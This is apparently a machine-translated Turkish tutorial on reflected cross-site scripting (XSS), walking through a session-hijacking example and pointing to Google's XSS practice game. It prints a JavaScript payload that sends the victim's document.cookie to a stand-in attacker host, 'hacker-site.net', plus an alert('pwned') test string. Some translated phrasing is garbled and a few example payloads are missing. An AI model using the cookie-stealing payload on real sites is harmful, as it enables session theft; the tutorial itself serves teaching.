Siteler Arası Komut Dosyası Çalıştırma nedir?
Siteler Arası Komut Dosyası Çalıştırma (XSS), Saldırının Tanrı Babası olarak bilinen günümüzün en popüler saldırı tekniklerinden biridir ve uzun yıllardır uygulamalar için en tehlikeli saldırı tekniği olarak listelenmiştir.web.
HTML'nin Basamaklı Stil Sayfası kavramıyla karıştırılmaması için kısaca CSS olarak adlandırmayın.
XSS
tekniği,
Daha iyi anlamak için aşağıdaki örneği ele alalım. Ad değişkenine Ping değerini ilettiğimizi varsayarak, URL yoluyla ilettiğimiz değerin yazdırılmasına izin veren bir web uygulaması:

Buraya kadar her şey yolunda, html kaynak kodunu inceleyelim:
![Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS]()
Görülmesi kolay olan, girdiğimiz name değerinin kaynak koduna eklenmiş olmasıdır. Dolayısıyla içe aktarılan her şeyin de eklenmesi mümkündür. Girilen değer yukarıdaki gibi normal bir dize değil de potansiyel olarak tehlikeli bir kod parçasıysa sorun ciddileşir:
Yukarıdaki değerle tekrar deneyin:
![Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS]()
Bu örnekten iki sonuca varabiliriz. İlk olarak, ad değişkeni herhangi bir giriş değerini alabilir ve işlenmek üzere sunucuya iletebilir. İkincisi, sunucu bu giriş değerini tarayıcıya döndürmeden önce kontrol etmedi. Bu, javascript kodunun kaynak koduna eklenmesine yol açar.
XSS genel olarak 3 ana türe ayrılır: Reflected, Stored ve DOM tabanlı. Bu yazımda ağırlıklı olarak Reflected XSS tekniğinden bahsedeceğim.
XSS tekniklerinin %75'e kadarı Yansıtılmış XSS'ye dayanmaktadır. Yansıtılmış olarak adlandırılmasının nedeni, bu tür bir istismar senaryosunda, bilgisayar korsanının kurbana kötü amaçlı kod (genellikle javascript) içeren bir URL göndermesi gerektiğidir. Mağdurun yalnızca bu URL'yi talep etmesi yeterlidir ve bilgisayar korsanı istenen sonucu içeren bir yanıtı hemen alacaktır (yansıma burada gösterilmektedir). Ayrıca birinci dereceden XSS olarak da bilinir.
Gerçek hayattaki madencilik senaryosu
Reflected XSS hatasından yararlanmanın pek çok yolu vardır, en bilinen yollardan biri kullanıcının oturumunu ele geçirerek verilere erişerek site üzerindeki haklarını elde etmektir.
Ayrıntılar aşağıdaki adımlarda açıklanmaktadır:
![Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS Web7: XSS Açıklarından Yararlanmalar – Bölüm 1: Yansıyan XSS]()
1. Kullanıcı web'de oturum açar ve bir oturumun atandığını varsayar:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Bilgisayar korsanı bir şekilde kullanıcıya şu URL'yi gönderir:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Örnek.com'un kurbanın ziyaret ettiği web sitesi olduğunu, hacker-site.net'in ise bilgisayar korsanı tarafından oluşturulan site olduğunu varsayalım.
3. Kurban yukarıdaki URL'ye erişir
4. Sunucu, kurbana istekte yer alan verilerle (bilgisayar korsanının javascript pasajı) birlikte yanıt verir.
5. Kurban tarayıcısı yanıtı alır ve javascript'i çalıştırır
6. Bilgisayar korsanının oluşturduğu gerçek javascript aşağıdaki gibidir:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Yukarıdaki komut satırı esas olarak bilgisayar korsanının sitesine kullanıcı çerezi olan parametreyle bir istekte bulunur:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Bilgisayar korsanı sitenizden yukarıdaki istek içeriğini yakalayacak ve kullanıcının oturumunun ele geçirildiğini düşünecektir. Bu noktada hacker, mağdurun kimliğine bürünerek mağdurun sahip olduğu web sitesindeki tüm hakları kullanabilir.
Pratik
Google, XSS hatalarından yararlanma konusunda pratik yapmak için burada bir sayfa oluşturdu: https://xss-game.appspot.com
Bu zorlukların amacı, bir açılır pencerenin açılması için komut dosyalarını enjekte etmeniz gerektiğidir. İlk zorluk, yansıtılan tekniği göstermektir; kullanım kodu oldukça basittir:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
İyi şanlar!